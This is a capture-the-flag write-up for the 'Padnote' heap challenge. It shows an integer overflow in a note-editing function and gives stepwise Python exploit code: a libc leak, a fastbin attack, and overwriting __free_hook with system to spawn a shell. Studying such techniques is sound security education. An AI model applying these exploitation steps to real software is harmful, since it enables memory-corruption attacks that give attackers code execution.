BsidesAhmed CTF 2021 - Padnote
Introduction
I proudly released the world most secure note after aggressively tested the source code with AFL and CodeQL, and didn’t find any bugs.
Author: ptr-yudai
You can download the challenge archive from here
The Bug
Lets look the source code, the bug is in EditNote function
1 | void EditNote(Note *note) { |
Variable offset, count and epos using integer. So we can trigger **Integer overflow** here. But how?
Value of INT_MAX is +2147483647.
Value of INT_MIN is -2147483648.
What if we input INT_MAX+1 or INT_MIN-1? What will happen? Here i wrote example program ![Example](/images/padnote/padnote.png) We can see if we input INT_MAX+1 it will convert to INT_MIN and if we input INT_MIN-1 it will convert to INT_MAX So with this we can bypass the security check by input INT_MIN+x to count, since int is 32bit then we can also by pass `(epos = offset + count) < 0` lets try this.
Solution
Trigger Bug
First we create note with any size
1 | add(0, 0x30, b'Linz') |
Check the heap on gdb.
Next we try edit with offset is the size and count INT_MIN-1.
We can see we get no error from our input. Next we see the heap on gdb to check the result.
Nice we successfully overwrite the top chunk with integer overflow.
Next step is we need to leak libc.
Leak LIBC
This part a bit challenging because when ce create note, it use calloc
instead of malloc
.
Also we only can malloc with 4 index.
1 | void CreateNote(Note *note) { |
The different between calloc and malloc that i know calloc doesnt reuse tcache. So it is a bit tricky to leak libc.
Here how we can leak libc.
- Create 7 notes to fill tcache and delete it.
1
2
3for i in range(7):
add(0, 0x60, str(i)*8)
delete(0) - Now Create 2 notes for initial overwrite
1
2add(0, 0x30, b'0'*8)
add(1, 0x30 ,b'1'*8) - Create big size malloc to get unsorted binHere how it looks like
1
2add(2, 0x440, b"2"*8)) #Unsorted bin
add(3, 0x30, b'3'*8) #Small chunk - Overwrite index 1 size, to 0x491 then we free index 1.
1
2edit(0, 0x30, -0x80000001, b'A'*8+p64(0x491))
delete(1) - Create 1 note again, with this we can leak libc on index 2
1
add(1, 0x30, b'1'*8)
- Print note 2 to get libc leak
1
2
3
4
5view(2)
p.recvuntil(b'Content: ')
leak = u64(p.recvn(6)+b'\x00'*2)
libc.address = leak - libc.sym['__malloc_hook'] & ~0xfff
print(hex(libc.address))
Gain Shell
We already get libc leak, for gaining the shell, we just use fastbin attack, i will not explain detail about fastbin attack here, you can read
some article about that here.
- We clear notes index first, next create notes to prepare fastbin attack, since we already full tcache for size 0x60, so we create notes with size 0x60
because when we free it, it will move to fastbin.1
2
3
4
5
6add(0, 0x60, b'0'*8)
add(1, 0x60, b'1'*8)
add(3, 0x60, b'3'*8)
# delete 1 & 3 it will ove to fastbin
delete(3)
delete(1) - Edit note index 0 to overwrite fastbin index 1, here i overwrite fastbin to __free_hook-xxxxx since we can overwrite __free_hook with overflow later.
1
edit(0,0x60, -0x80000001, b'X'*8+p64(0x71)+p64(libc.address+0x1ed560+165))
- Next create 2 notes, note index 2 will be calloc to our target
1
2add(1,0x60,b'/bin/sh\x00')
add(3,0x60,b'\x00'*0x23+p64(0xdeadbeef)) - Calculate the offset to __free_hook then overwrite __free_hook to system, delete note 1 and SHELL!
1
2edit(3,0x60-1-4, -0x80000001, b'\x00'*0x14b8+p64(libc.sym['system']))
delete(1)
You can see the full script here